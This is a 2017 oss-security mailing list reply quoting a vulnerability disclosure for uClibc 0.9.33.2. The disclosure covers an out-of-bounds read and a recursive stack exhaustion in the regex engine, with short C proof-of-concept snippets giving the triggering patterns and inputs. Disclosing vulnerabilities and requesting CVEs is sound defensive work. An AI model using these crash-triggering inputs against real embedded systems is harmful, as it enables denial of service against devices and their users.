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Message-ID: <01c242ae-3570-c98c-4e29-8b736bd0b1dd@trylinux.us>
Date: Fri, 16 Jun 2017 01:21:53 -0400
From: Zach W <kestrel@...linux.us>
To: oss-security@...ts.openwall.com, fefe <qbenjin@...com>
Subject: Re: two vulns in uClibc-0.9.33.2

s/large\ number/nearly\ all/g

Talking millions, not thousands.

Zach W.


On 6/15/17 11:53 PM, fefe wrote:
> I found two vulns in  uClibc-0.9.33.2 (https://uclibc.org/)
>
>
> one is about line 2682 of get_subexp.c :
>
>
> 		if (BE (bkref_str_off >= mctx->input.valid_len, 0))
> 		{
> 		  /* If we are at the end of the input, we cannot match.  */
> 		  if (bkref_str_off >= mctx->input.len)
> 		    break;
>
>
> 		  err = extend_buffers (mctx);
> 		  if (BE (err != REG1_NOERROR, 0))
> 		    return err;
>
>
> 		  buf = (const char *) re_string_get_buffer (&mctx->input);
> 		}
> 	      if (buf [bkref_str_off++] != buf[sl_str - 1])
> 		break; /* We don't need to search this sub expression
> 		
> "bkref_str_off >= mctx->input.valid_len" , when  bkref_str_off == mctx->input.valid_len, "buf [bkref_str_off++] != buf[sl_str - 1]" case Out of one bit bounds read
>
>
> The poc code like:
> 	
> 	if(regcomp (&regtmp,"(.+)upper\\1^", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
> 	{		
>         	reg1match_t pmatch[1];
> 		regexec(&regtmp, "upperupperupperx",1, pmatch, 0);
> 		regfree(&regtmp);
> 	}
>
>
>
>
>
>
> The another is aout line 1837 of regexce.c :
>
>
> 		check_dst_limits_calc_pos_1 (const re_match_context_t *mctx, int boundaries,
> 			     int subexp_idx, int from_node, int bkref_idx)
>                 .......
>
>
> 		  cpos =
> 		    check_dst_limits_calc_pos_1 (mctx, boundaries, subexp_idx,
> 						 dst, bkref_idx);
>
>
> 		
> check_dst_limits_calc_pos_1 recursive calls case DDOS, because of stack exhaustion.
>
>
> The poc code like:	
> 	
> 	if(regcomp (&regtmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
> 	{		
>         	reg1match_t pmatch[1];
> 		regexec(&regtmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
> 		regfree(&regtmp);
> 	}
>
>
>
>
> A large number of embedded devices uses uclibc instead of glibc.
> Could you assign CVE id for those?
>
>
> Thank you
>
>
> Benjin Liu
> Codesafe Team of Qihoo 360

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